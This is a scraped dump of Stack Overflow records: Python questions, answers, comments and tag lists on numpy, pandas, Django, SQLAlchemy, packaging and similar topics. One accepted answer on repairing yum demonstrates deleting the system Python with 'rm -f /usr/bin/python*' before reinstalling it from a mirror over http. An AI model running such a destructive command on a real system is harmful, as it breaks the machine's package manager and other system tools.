has title: Local mean filter of a numpy array with missing data
type: UnansweredQuestion
tagged with: convolution
upvote count: 5
linked to: http://stackoverflow.com/q/38318362
tagged with: scikit-image
tagged with: python
has body: I'd like to make a local mean filter of an image stored as a numpy array. The image has some missing pixels near the edges, represented with a valid mask (a bool array). I could use skimage.filters.rank, but my images are outside of the [-1, 1] range, and for some reason scikit-image has that as a requirement. There's also astropy.convolution, but it interpolates missing data. For a simple mean there's no need to interpolate. Just average only valid pixels. The input and output valid masks are the same. Simply setting invalid pixels to zero is not an option as it would contaminate valid pixels averages nearby. There's also this question, but it's not a duplicate since it asks about the more generic convolution (this is just averaging).
has comment: http://stackoverflow.com/comment/80855967
has answer: http://stackoverflow.com/a/47052791

c++
tags question: http://stackoverflow.com/q/46910486
tags question: http://stackoverflow.com/q/46973384
tags question: http://stackoverflow.com/q/46958247
tags question: http://stackoverflow.com/q/46998560
tags question: http://stackoverflow.com/q/46962636
tags question: http://stackoverflow.com/q/47024950
tags question: http://stackoverflow.com/q/47027299
tags question: http://stackoverflow.com/q/46934487
tags question: http://stackoverflow.com/q/46922455
tags question: http://stackoverflow.com/q/47026900
tags question: http://stackoverflow.com/q/46966399
tags question: http://stackoverflow.com/q/47001829
tags question: http://stackoverflow.com/q/47026678
tags question: http://stackoverflow.com/q/47006053
tags question: http://stackoverflow.com/q/46909787
tags question: http://stackoverflow.com/q/47007186
tags question: http://stackoverflow.com/q/46969067
tags question: http://stackoverflow.com/q/47007301
tags question: http://stackoverflow.com/q/47042499
type: Tag
tags question: http://stackoverflow.com/q/46961428
tags question: http://stackoverflow.com/q/46984168
tags question: http://stackoverflow.com/q/47054339
tags question: http://stackoverflow.com/q/46932606
tags question: http://stackoverflow.com/q/46981121
tags question: http://stackoverflow.com/q/47044866
tags question: http://stackoverflow.com/q/47004388
tag name: c++
tags question: http://stackoverflow.com/q/46938718
tags question: http://stackoverflow.com/q/46907277

http://stackoverflow.com/comment/81065597
score: 0
type: Comment
has text: OK. I've never see this before so I'll give it a go and feedback. Sounds like a nice work around.
comment on: http://stackoverflow.com/a/47059017
type: AnswerComment

http://stackoverflow.com/comment/80936087
has text: Please provide a [mcve].
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46993800

http://stackoverflow.com/q/46978086
type: Question
tagged with: python-3.x
has body: I am currently writing a code for my GCSE coursework and I am kind of stuck with my for loop which also contains an if-else statement. I have done a code similar to this earlier in the program and it works perfectly fine but for some reason this part doesn't and I was wondering if someone could help me. What I am trying to do is make a quiz type program and the part that I need help with is choosing the subject that the user wants to do. The user has to type in their preferred subject but if they type the subject in wrong, or type in something invalid, then the program should allow the user to type it in again. So far, if you type in a subject correctly the first time, the program will proceed to the next stage. However, if you type it incorrectly the first time, it will ask the user to try again. But if you type it in correctly the second time, it will again ask the user to try again. Instead of having the program make the user type the subject again, even though it should've been valid the when they typed it in correctly, I want the program to proceed to the next stage. Available subjects: subjects = [] algebra = ("algebra") computing = ("computing") subjects.append(algebra) subjects.append(computing) Part that I need help with: with open("student_file.csv", "a+") as studentfile: studentfileReader = csv.reader(studentfile, delimiter = ',') studentfileWriter = csv.writer(studentfile, delimiter = ',') print("Available subjects:\n-Algebra\n-Computing\n") ChosenSubject = input("What subject would you like to do? ") ChosenSubject.lower() for i in range(2): if ChosenSubject in subjects: print("\n") break else: print("\nPlease try again.") ChosenSubject == input("What subject would you like to do?") ChosenSubject.lower() if ChosenSubject in subjects: print("working") else: print("You keep typing in something incorrect.\nPlease restart the program.")
upvote count: 2
has title: Python 3.6.2 loop not working like I wanted it too
downvote count: 0
accepted answer: http://stackoverflow.com/a/46978293
tagged with: python
has answer: http://stackoverflow.com/a/46978158
has comment: http://stackoverflow.com/comment/80903686
has answer: http://stackoverflow.com/a/46978293
possible better answer: http://stackoverflow.com/a/46978296
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/46978296
answer count: 3
has comment: http://stackoverflow.com/comment/80903938
has comment: http://stackoverflow.com/comment/80904248
favorite count: 0

http://stackoverflow.com/comment/87568047
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46978352
has text: No explanation whatsoever?
score: 1

http://stackoverflow.com/q/47042483
favorite count: 0
has body: I've written a Python module that depends on some C extensions. Those C extensions depend in turn on several compiled C libraries. I'd like to be able to distribute this module bundled with all the dependencies. I've put together a minimal example (it can be found on GitHub in its entirety). The directory structure is: $ tree . . ├── README.md ├── poc │ ├── __init__.py │ ├── cython_extensions │ │ ├── __init__.py │ │ ├── cvRoberts_dns.c │ │ ├── cvRoberts_dns.h │ │ ├── helloworld.c │ │ ├── helloworld.pxd │ │ ├── helloworld.pyx │ │ ├── test.c │ │ └── test.h │ ├── do_stuff.c │ └── do_stuff.pyx └── setup.py setup.py builds the extensions, and links against the necessary libraries (libsundials_cvode, libsundials_nvectorserial in this case): from setuptools import setup, find_packages from setuptools.extension import Extension from Cython.Build import cythonize ext_module_dostuff = Extension( 'poc.do_stuff', ['poc/do_stuff.pyx'], ) ext_module_helloworld = Extension( 'poc.cython_extensions.helloworld', ['poc/cython_extensions/helloworld.pyx', 'poc/cython_extensions/test.c', 'poc/cython_extensions/cvRoberts_dns.c'], include_dirs = ['/usr/local/include'], libraries = ['m', 'sundials_cvodes', 'sundials_nvecserial'], library_dirs = ['/usr/local/lib'], ) cython_ext_modules = [ ext_module_dostuff, ext_module_helloworld ] setup ( name = "poc", ext_modules = cythonize(cython_ext_modules), packages=['poc', 'poc.cython_extensions'], ) This is all well and good, but it does require that the end user first install sundials (and, in the actual case, several other libraries that are extremely finicky to get up and running). Ideally, I'd like to be able to set this up only on development machines, create a distribution that includes the appropriate shared libraries, and ship some sort of bundle. Given the various tutorials, examples and SO posts I've found so far. I'm led to believe I'm on the right track. However, there's some sort of final step that I'm just not groking. Any help is app…
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/47182945
tagged with: python-packaging
score: 26
upvote count: 26
has title: How to build and distribute a Python/Cython package that depends on third party libFoo.so
tagged with: setuptools
has answer: http://stackoverflow.com/a/47216807
tagged with: python
has comment: http://stackoverflow.com/comment/81232511
has comment: http://stackoverflow.com/comment/81241303
possible better answer: http://stackoverflow.com/a/47230110
linked to: http://stackoverflow.com/q/16246923
type: Question
has answer: http://stackoverflow.com/a/47230110
answer count: 3
accepted answer: http://stackoverflow.com/a/47182945
linked to: http://stackoverflow.com/q/46726276
tagged with: python-extensions
has comment: http://stackoverflow.com/comment/81240289

http://stackoverflow.com/comment/80995207
comment on: http://stackoverflow.com/a/47023458
type: Comment
score: 0
type: AnswerComment
has text: @seth127 also note that Divakar has managed to improve on my speed significantly since the initial answer given and his approach does give identical binning behaviour.

http://stackoverflow.com/comment/81029598
has text: I don't know if it matters to your question, but that's a dictionary, not a list. Generally for counting stuff you would use a [`Counter`](https://docs.python.org/3/library/collections.html#collections.Counter), but your question doesn't really make it clear what it is you're trying to count
type: Comment
comment on: http://stackoverflow.com/q/47041374
type: QuestionComment
score: 5

http://stackoverflow.com/comment/81036924
comment on: http://stackoverflow.com/q/47044127
has text: See [**Why not upload images of code on SO when asking a question?**](https://meta.stackoverflow.com/questions/285551/why-not-upload-images-of-code-on-so-when-asking-a-question)
type: Comment
score: 2
type: QuestionComment

http://stackoverflow.com/comment/80837704
comment on: http://stackoverflow.com/q/46940733
score: 0
type: Comment
type: QuestionComment
has text: @WillemVanOnsem: That's not a problem here; the `map` is run to completion before `i` changes.

http://stackoverflow.com/a/46925045
has comment: http://stackoverflow.com/comment/80797076
type: Answer
score: 15
has body: A much faster way to do this would be: df = np.log2(df) Don't forget to assign the result back to df.
has comment: http://stackoverflow.com/comment/80797174
downvote count: 0
upvote count: 15
answers question: http://stackoverflow.com/q/46924925
has comment: http://stackoverflow.com/comment/80797028

pca
tag name: pca
tags question: http://stackoverflow.com/q/47048530
type: Tag
tags question: http://stackoverflow.com/q/47040919

http://stackoverflow.com/comment/80786208
comment on: http://stackoverflow.com/q/46918658
score: 0
type: QuestionComment
has text: But you using `quandl.get`, not `quandl.get_table`. As far as I now, you couldn't pass an url as argument to `quandl.get`. If you want to get it as csv file you could use `urllib` for it, or just get it with `curl`/webbrowser. With `get` you could get any data series, for example `data = quandl.get("ZILLOW/M208_ZRISFRR", returns="numpy")`.
type: Comment

http://stackoverflow.com/a/47049959
has comment: http://stackoverflow.com/comment/81089850
answers question: http://stackoverflow.com/q/47049035
has comment: http://stackoverflow.com/comment/81050863
has comment: http://stackoverflow.com/comment/81129069
has comment: http://stackoverflow.com/comment/81113018
has comment: http://stackoverflow.com/comment/81112908
has comment: http://stackoverflow.com/comment/81132558
type: Answer
has comment: http://stackoverflow.com/comment/81051158
has comment: http://stackoverflow.com/comment/81054812
has comment: http://stackoverflow.com/comment/81138131
has comment: http://stackoverflow.com/comment/81106644
has comment: http://stackoverflow.com/comment/81113497
has comment: http://stackoverflow.com/comment/81113641
has comment: http://stackoverflow.com/comment/81050356
has body: try below code: def g4_match(X,Y): N="TAG" K="L" D="E" spl_mismatch, mismatch = (0,0) for x,y in zip(X,Y): if x!=y and x!='X': if x == 'N' and y in N: spl_mismatch+=1 elif x == 'K' and y in K: spl_mismatch+=1 elif x == 'D' and y in D: spl_mismatch+=1 else: mismatch+=1 #print(spl_mismatch,mismatch) if mismatch &gt; 1 or spl_mismatch &gt; 1: return False return True def match(X,Y): mismatch = 0 for x,y in zip(X,Y): if not (x == 'X' or x == y): mismatch += 1 #print(mismatch) if mismatch &gt; 1: return False return True def find_matches(x,g4_match): match_positions = [] matches = [] for i in range(len(protein) - len(x)): candidate = protein[i : i + len(x)] if match(x, candidate): match_positions.append(i) matches .append(candidate) elif g4_match(x, candidate): match_positions.append(i) matches .append(candidate) print("Mmatches: ",matches, match_positions) return matches, match_positions
score: 0
has comment: http://stackoverflow.com/comment/81130897
has comment: http://stackoverflow.com/comment/81131044
has comment: http://stackoverflow.com/comment/81113711
has comment: http://stackoverflow.com/comment/81114487
has comment: http://stackoverflow.com/comment/81047607
has comment: http://stackoverflow.com/comment/81105986
has comment: http://stackoverflow.com/comment/81050592

tuples
tags question: http://stackoverflow.com/q/47044006
tags question: http://stackoverflow.com/q/47039449
tags question: http://stackoverflow.com/q/47028327
tags question: http://stackoverflow.com/q/47061015
tag name: tuples
tags question: http://stackoverflow.com/q/47042431
tags question: http://stackoverflow.com/q/47039349
tags question: http://stackoverflow.com/q/46984001
tags question: http://stackoverflow.com/q/47000720
tags question: http://stackoverflow.com/q/46967179
tags question: http://stackoverflow.com/q/47013307
tags question: http://stackoverflow.com/q/47047760
tags question: http://stackoverflow.com/q/47005316
tags question: http://stackoverflow.com/q/47059561
tags question: http://stackoverflow.com/q/46963774
tags question: http://stackoverflow.com/q/46964308
tags question: http://stackoverflow.com/q/46945860
tags question: http://stackoverflow.com/q/46992642
tags question: http://stackoverflow.com/q/47052344
tags question: http://stackoverflow.com/q/46987013
tags question: http://stackoverflow.com/q/47060305
tags question: http://stackoverflow.com/q/47019278
tags question: http://stackoverflow.com/q/46947659
tags question: http://stackoverflow.com/q/46963840
tags question: http://stackoverflow.com/q/47041466
tags question: http://stackoverflow.com/q/46978788
tags question: http://stackoverflow.com/q/46957092
type: Tag
tags question: http://stackoverflow.com/q/46914679
tags question: http://stackoverflow.com/q/47059880

http://stackoverflow.com/comment/80970642
score: 0
has text: @AditiaPratama Without self I get `name 'request' is not defined`
type: Comment
comment on: http://stackoverflow.com/q/47012130
type: QuestionComment

http://stackoverflow.com/q/46995599
tagged with: sqlalchemy
favorite count: 0
type: Question
tagged with: ajax
accepted answer: http://stackoverflow.com/a/47009364
has answer: http://stackoverflow.com/a/47009364
possible better answer: http://stackoverflow.com/a/46996890
tagged with: python
tagged with: request
has title: Use like operator in session.query in SQLAlchemy with request.args.get
has body: I am successfully able to get results from the database using an equal to operator using below query: return session.query(Employees).filter_by(EmployeeName=request.args.get('Name')) Employees is the class 'Name' attribute gets filled via an ajax call I am not sure how to use like operator instead of equal to? I tried doing something like this but to no avail return session.query(Employees).filter(Employees.EmployeeName.like(request.args.get('%Name%')))
type: AnsweredQuestion
score: 3
answer count: 2
upvote count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/46996890

http://stackoverflow.com/a/47010606
type: Answer
score: 0
has body: Only when it has escape sequences print('C:\sys\cat\Desktop') Better to give it as raw type to avoid the glitches or using forward slash.
has comment: http://stackoverflow.com/comment/80967639
answers question: http://stackoverflow.com/q/47010506
has comment: http://stackoverflow.com/comment/80967540
has comment: http://stackoverflow.com/comment/80967528

http://stackoverflow.com/comment/80928466
score: 0
has text: Duplicated? I already saw that answer, but I'm saying that I don't want to override a model. I need to create a new one without create another app, like `push_notifications_2` or something like that. The answer doesn't say either how can I display a popup from a custom button and where do I have to put the form to fill the notification and the code to send it. It's definitely not a duplicate question.
type: QuestionComment
comment on: http://stackoverflow.com/q/46986605
type: Comment

http://stackoverflow.com/q/47012830
tagged with: sqlite
tagged with: python
type: Question
has title: How to find rowid of a variable? sqlite3
type: UnansweredQuestion
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/47013318
has body: I am making a username password program using sqlite and I want to check if a username is in the database (I've already done this) then I want to find the row id of said username. This will be a username that the user has input. I know how to find the rowid of a word in the database e.g 'Word'. How would I make is so I could replace the word with a variable? def sign_in(): usernameask = input("What is your username?") passwordask = input("What is your password?") c.execute("SELECT username FROM stuffToPlot") names = {name[0] for name in c.fetchall()} if usernameask in names: print("Yes") c.execute("SELECT password FROM stuffToPlot") passs = {name[0] for name in c.fetchall()} if passwordask in passs: print("yes,pass") t = c.execute("SELECT rowid, FROM stuffToPlot WHERE username = 'usernameask' ") rowid = t.fetchall() for r in rowid: print(r) else: print("No,pass" I am looking at where it says t = c.execute("SELECT rowid, FROM stuffToPlot WHERE username = 'usernameask' ") and want to replace the 'usernameask' which is currently looking for it as a word in the database to a variable. How would I do this? There is no error, it just finds the position of the word "usernameask" which isn't in the database.
upvote count: 1
tagged with: rowid
favorite count: 0
score: 1

http://stackoverflow.com/comment/139272372
has text: @Spencer I've done experiments with PyQt5 using `QThreadPool` and `QImage` and found that performance does scale as expected when I comment out `loader_pool.setMaxThreadCount(1)`, which should be confirmation that the `QImage` bindings handle releasing and acquiring the GIL when handing off to `QImage`.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/46946331

http://stackoverflow.com/comment/80912724
type: QuestionComment
has text: gmtime wants a pointer to that value, not the value itself.
comment on: http://stackoverflow.com/q/46982470
score: 1
type: Comment

http://stackoverflow.com/a/47031937
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47030448
answers question: http://stackoverflow.com/q/47030448
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81040758
has comment: http://stackoverflow.com/comment/81010983
has comment: http://stackoverflow.com/comment/81089356
has body: Your question is really unclear about what you actually expect, but here are a couple hints anyway: First, model instances (assuming they are instances of the same model of course) compare on their primary key value, which is also used as hash for dicts and sets, so if you want to compare the underlying database records you should not work on model instances but on the raw db values as lists of tuples or dicts. You can get those using (resp.) Queryset.values_list() or Queryset.values() - not forgetting to list() them so you really get a list and not a queryset. Which brings us to the second important point: while presenting themselves as list-likes (in that they support len(), iteration, subscripting and - with some restrictions - slicing), Querysets are NOT lists. You can't compare two querysets (well you can but they compare on identity, which means that two querysets will only be equal if they are actually the very same object), and, more important, using a queryset as an argument to a 'field__in=' lookup will result in a SQL subquery where passing a proper list results in a plain 'field IN (...)' where clause. This explains the error you get with the exclude(...) approach. To make a long story short, if you want to effectively compare database rows, you want: # the fields you want to compate records on fields = 'field1', 'field2', 'fieldN' rows1 = list(YouModel.objects.using('tmp1').filter(...).values_list(*fields)) rows2 = list(YouModel.objects.using('tmp2').filter(...).values_list(*fields)) # now you have two lists of tuples so you can apply ordinary python comparisons / set operations etc print rows1 == rows2 print set(rows1) - set(rows2) # etc

http://stackoverflow.com/comment/81031662
has text: How would that look in this scenario exactly Haken?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47027340
type: Comment

http://stackoverflow.com/comment/80825586
comment on: http://stackoverflow.com/a/46938270
score: 0
type: AnswerComment
type: Comment
has text: @MaximTitarenko: This should properly handle any row (or as you said "inside list") with an even number of elements.

http://stackoverflow.com/comment/80946750
comment on: http://stackoverflow.com/q/46999726
type: Comment
type: QuestionComment
score: 0
has text: of course, I can )

http://stackoverflow.com/q/47047057
has comment: http://stackoverflow.com/comment/81041907
has comment: http://stackoverflow.com/comment/81042026
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47047865
score: 0
linked to: http://stackoverflow.com/q/37337728
has answer: http://stackoverflow.com/a/47047865
has comment: http://stackoverflow.com/comment/81041959
answer count: 1
tagged with: machine-learning
tagged with: keras
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/81041919
type: Question
has title: InternalError (see above for traceback): Blas GEMM launch failed
tagged with: neural-network
has comment: http://stackoverflow.com/comment/81041877
has body: I trained a model with keras and want to evaluate it. But I always get this error. I found a solution here TensorFlow: InternalError: Blas SGEMM launch failed but this is just for tensorflow. Using TensorFlow backend. 2017-11-01 10:40:49.120525: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available on your machine and could speed up CPU computations. 2017-11-01 10:40:49.120546: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.2 instructions, but these are available on your machine and could speed up CPU computations. 2017-11-01 10:40:49.120553: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use AVX instructions, but these are available on your machine and could speed up CPU computations. 2017-11-01 10:40:49.120557: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use AVX2 instructions, but these are available on your machine and could speed up CPU computations. 2017-11-01 10:40:49.120562: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use FMA instructions, but these are available on your machine and could speed up CPU computations. 2017-11-01 10:40:49.266103: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:893] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero 2017-11-01 10:40:49.266511: I tensorflow/core/common_runtime/gpu/gpu_device.cc:955] Found device 0 with properties: name: GeForce 940MX major: 5 minor: 0 memoryClockRate (GHz) 1.189 pciBusID 0000:01:00.0 Total memory: 1.96GiB Free memory: 1.78GiB 2017-11-01 10:40:49.266528: I tensorflow/core/common_runtime/gpu/gpu_device.cc:976] DMA: 0 2017-11-01 10:40:49.266534: I tensorflow/core/common_runtime/gpu/gpu_device.cc:986] 0: Y 2017-11-01 10:40:49.266…
tagged with: python
linked to: http://stackoverflow.com/q/47047716

http://stackoverflow.com/a/46988653
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46988214
upvote count: 1
has body: The issue here, is that you cannot pass the function directly to this method hyperlink.add, it will be executed since you call it with an argument. (Note that in the example shown in your link, we only pass the reference of the function without calling it). You could use a lambda expression if the parameter was the same for all rows, but the url need to change every time, so, you need to use something like the partial tool : from functools import partial [...] Lb1.insert(END,restitle,hyperlink.add(partial(click1, resurl[0])))
answers question: http://stackoverflow.com/q/46988214
score: 1
type: Answer

http://stackoverflow.com/comment/80960450
score: 0
has text: Yes. Perhaps he forgot to clarify that. So I suppose the answer to your initial question was yes.
type: Comment
comment on: http://stackoverflow.com/q/47006829
type: QuestionComment

http://stackoverflow.com/q/46982642
answer count: 0
score: 1
downvote count: 0
tagged with: databricks
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: pyspark
upvote count: 1
tagged with: python
has body: So I have this code that works perfectly in Python (thanks to some help from StackOverflow) and I wanted to put it into Databricks. In the production environment, Import_MICS will be a data frame that contains some error code that we will be sending to the users. I get error codes making reference to encoding when I try to run it in Spark/Databricks, but I'm not sure why that would be the case. Any help as to why python code that works in Python but not in Databricks would be much appreciated When I try to run it with the sample data below, I get the following error: UnicodeEncodeError: 'ascii' codec can't encode character u'\ufffd' in position 8091: ordinal not in range(128) --------------------------------------------------------------------------- UnicodeEncodeError Traceback (most recent call last) &lt;ipython-input-11-e3342ca6d73a&gt; in &lt;module&gt;() 28 29 ---&gt; 30 msg = MIMEText(content, text_subtype) 31 msg['Subject']= subject 32 msg['From'] = sender # some SMTP servers will do this automatically, not all /usr/lib/python2.7/email/mime/text.pyc in __init__(self, _text, _subtype, _charset) 28 MIMENonMultipart.__init__(self, 'text', _subtype, 29 **{'charset': _charset}) ---&gt; 30 self.set_payload(_text, _charset) /usr/lib/python2.7/email/message.pyc in set_payload(self, payload, charset) 224 self._payload = payload 225 if charset is not None: --&gt; 226 self.set_charset(charset) 227 228 def set_charset(self, charset): /usr/lib/python2.7/email/message.pyc in set_charset(self, charset) 260 self.set_param('charset', charset.get_output_charset()) 261 if isinstance(self._payload, unicode): --&gt; 262 self._payload = self._payload.encode(charset.output_charset) 263 if str(charset) != charset.get_output_charset(): 264 self._payload = charset.body_encode(self._payload) UnicodeEncodeError: 'ascii' codec can't encode character u'\ufffd' in position 8091: ordinal not in range(128) When I use my own dataset, I get a similar, but slightly different message: AttributeE…
has title: Send Dataframe Using Python works in Python, Not in Spark/Databricks

ipv6
tag name: ipv6
tags question: http://stackoverflow.com/q/46983587
type: Tag

http://stackoverflow.com/a/46993011
downvote count: 0
type: Answer
upvote count: 1
has body: Try: np.cumsum(np.array([1,1,0,-1,0,1]),axis=0) or using an example for IBM: import pandas import numpy as np import pandas_datareader as pdr from datetime import datetime ibm = pdr.get_data_yahoo(symbols='IBM', start=datetime(2015, 1, 1), end=datetime(2017, 1, 1))['Adj Close'] a=np.cumsum(np.array(np.sign(np.diff(ibm))))
answers question: http://stackoverflow.com/q/46985609
accepted answer of: http://stackoverflow.com/q/46985609
score: 1
has comment: http://stackoverflow.com/comment/80952076
type: AcceptedAnswer

http://stackoverflow.com/a/47006992
has comment: http://stackoverflow.com/comment/80960685
answers question: http://stackoverflow.com/q/47006702
has body: Your call to redirect looks like it's using the name of a function rather than the name of a named view. We would need to see your urls.py to be sure. Remember, redirect uses reverse under the hood - you'll need to supply the same name you use in your URL patterns, as well as any necessary namespace. If you can post your existing urls.py files I can try to provide more concrete information on how to fix your problem. In the meantime review the examples of how to use redirect here: https://docs.djangoproject.com/en/1.11/topics/http/shortcuts/#examples
has comment: http://stackoverflow.com/comment/80960762
type: Answer
accepted answer of: http://stackoverflow.com/q/47006702
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80960835

http://stackoverflow.com/q/47055201
favorite count: 0
type: Question
tagged with: numpy
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47057008
tagged with: python
has title: How to improve the speed when I index the numpy array in a loop?
has body: h5id_unique = np.unique(df_[:,0]) cnt_nan = 0 cnt_pos = 0 cnt_neg = 0 cnt = 0 for h5id in h5id_unique: dfq_ = df_[df_[:,0]==h5id] if dfq_.shape[0] &lt;=2 or dfq_[:,1].sum() != 1: cnt_nan += 1 continue cnt += 1 pos_score = dfq_[dfq_[:,1]==1, 2] neg_score = dfq_[dfq_[:,1]==0, 2] for i in neg_score: if i &lt;= pos_score: cnt_pos += 1 else: cnt_neg +=1 if cnt % 500 == 0: print cnt_pos / float(cnt_neg), cnt_nan, cnt I have a numpy array named df_, which has three columns h5id, label, pred h5id is an id of string format while the label is 0/1 int and the pred is a float. Here is my codes. df_ has 11 millions rows while there are 3 million distinct h5id in the array. I find that my code is very slow. How can I improve it? I think the index operations takes too much time. It will index for 3 million times. Thanks.
score: 0
answer count: 1
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/47047843
has comment: http://stackoverflow.com/comment/81043292
tagged with: django
tagged with: python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47047960
has title: Whats the difference when add `[ ]` to regular expressions?
has answer: http://stackoverflow.com/a/47047960
answer count: 1
tagged with: django-rest-framework
type: Question
has comment: http://stackoverflow.com/comment/81043101
has body: When I watch a video, in the 2:13 second, there is a urlpatterns: urlpatterns = [ url(r'^$', PostListAPIView.as_view(), name='list'), url(r'^(?P&lt;pk&gt;\d+)/$', PostDetailAPIView.as_view(), name='detail'), url(r'^(?P&lt;slug&gt;[\w+])/edit/$', PostUpdateAPIView.as_view(), name='update'), url(r'^(?P&lt;slug&gt;[\w+])/delete/$', PostDeleteAPIView.as_view(), name='delete'), ] We know we can use \d+ to match the numbers, use \w+ to match character,number,and _. But why in there the \w+ be wrap with []? can do not wrap it? And by the way, many Django model use a slug field, why use it? and the slug field has what function? whats the deep meaning of slug?

http://stackoverflow.com/comment/80996168
type: AnswerComment
type: Comment
has text: i tested it in terminal it's run !
comment on: http://stackoverflow.com/a/46991521
score: 0

http://stackoverflow.com/a/46915983
has comment: http://stackoverflow.com/comment/120263314
upvote count: 9
has body: The yum package manager is relies on an underlying tool called rpm, which does not require Python. You can use that to re-install the system Python package. You can use this to reinstall the base python package from a CentOS mirror: rpm -ivh --replacepkgs --replacefiles http://mirror.centos.org/centos/6/os/x86_64/Packages/python-2.6.6-66.el6_8.x86_64.rpm For example: # rm -f /usr/bin/python* # yum version bash: /usr/bin/yum: /usr/bin/python: bad interpreter: No such file or directory # rpm -ivh --replacefiles --replacepkgs http://mirror.centos.org/centos/6/os/x86_64/Packages/python-2.6.6-66.el6_8.x86_64.rpm Retrieving http://mirror.centos.org/centos/6/os/x86_64/Packages/python-2.6.6-66.el6_8.x86_64.rpm warning: /var/tmp/rpm-tmp.DCR7QF: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY Preparing... ########################################### [100%] 1:python ########################################### [100%] # yum version Loaded plugins: fastestmirror, ovl Installed: 6/x86_64 131:0e17bede37a026e5f95d6cb7e185701b989fa47d Group-Installed: yum 14:973b685dc3deb5d8f00cdb3ec97022064b5ff793 version
type: Answer
has comment: http://stackoverflow.com/comment/120251803
has comment: http://stackoverflow.com/comment/128141271
answers question: http://stackoverflow.com/q/46915455
score: 9
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46915455
downvote count: 0
has comment: http://stackoverflow.com/comment/128148156

http://stackoverflow.com/comment/80984043
type: Comment
has text: How do you generate those 450,000 nonzero values? Creating a blank sparse matrix is easy but practically useless.
score: 0
comment on: http://stackoverflow.com/q/47013837
type: QuestionComment

http://stackoverflow.com/q/47056888
downvote count: 1
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/30450763
linked to: http://stackoverflow.com/q/38255924
type: UnansweredQuestion
has title: passing database connection object to executor
tagged with: pyspark
has body: Im using a python spark workflow that executes multiples tasks. Gets some data from db, process, loads back to db. All these are separate tasks but each of these the dababase connection object. How do I pass the db connection between multiple executors? Do I need to make a separate connection in each of its own tasks or can I distribute the connection?
has answer: http://stackoverflow.com/a/47057566
tagged with: python
score: -1
duplicate of: http://stackoverflow.com/q/38255924
tagged with: apache-spark
upvote count: 0
answer count: 1

http://stackoverflow.com/q/47023044
linked to: http://stackoverflow.com/q/35091557
has comment: http://stackoverflow.com/comment/80993118
downvote count: 5
has comment: http://stackoverflow.com/comment/80993256
tagged with: python
has comment: http://stackoverflow.com/comment/80993176
has body: Suppose a string is provided: str = 'Abcdeaghag' How to replace the second occurrence of 'a' in str?
has title: How to find and replace the nth occurrence of a character in a string?
score: -5
duplicate of: http://stackoverflow.com/q/35091557
answer count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47023152
upvote count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/47020001
has body: Using set you can find the difference between two lists and assert that it's 0 In [40]: assert len(set(df.columns) - set(['A', 'B', 'C'])) == 0 In [41]: assert len(set(df.columns) - set(['A', 'B', 'D'])) == 0 --------------------------------------------------------------------------- AssertionError Traceback (most recent call last) ----&gt; 1 assert len(set(df.columns) - set(['A', 'B', 'D'])) == 0
score: 4
has comment: http://stackoverflow.com/comment/80994270
has comment: http://stackoverflow.com/comment/80987992
upvote count: 4
has comment: http://stackoverflow.com/comment/80988029
has comment: http://stackoverflow.com/comment/80991627
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80988854
has comment: http://stackoverflow.com/comment/80989955
answers question: http://stackoverflow.com/q/47019730
type: Answer
accepted answer of: http://stackoverflow.com/q/47019730

http://stackoverflow.com/q/46935357
accepted answer: http://stackoverflow.com/a/46935415
possible better answer: http://stackoverflow.com/a/46935667
tagged with: pandas
tagged with: dataframe
tagged with: python
tagged with: date
has title: How to check and replace date values conditionally in pandas dataframe?
score: 2
type: AnsweredQuestion
has body: I am working with Python 2.7 and pandas and I have the following dataframe: col1 col2 col3 date_col 0 123 0 foo 9999-12-31 1 456 1 bar 2017-09-15 2 789 1 psi 9999-12-31 When I try to work with this dataframe I get the following error: pandas._libs.tslibs.OutOfBoundsDattime: Out of bounds nanosecond timestamp: 9999-12-31 00:00:00 I am aware that this is because pandas has a limited window of timestamps it can represent. My question is: How can I replace all the values in the column date_col which are exceeding the bound of the date window with a default value (for example 2000-01-01)? Also in my real dataframe I only know the indices of the columns that contain dates, so I cannot use the column names. Any help is appreciated!
answer count: 2
upvote count: 2
has answer: http://stackoverflow.com/a/46935415
has answer: http://stackoverflow.com/a/46935667
downvote count: 0
favorite count: 0
tagged with: timestamp
type: Question

http://stackoverflow.com/q/46934143
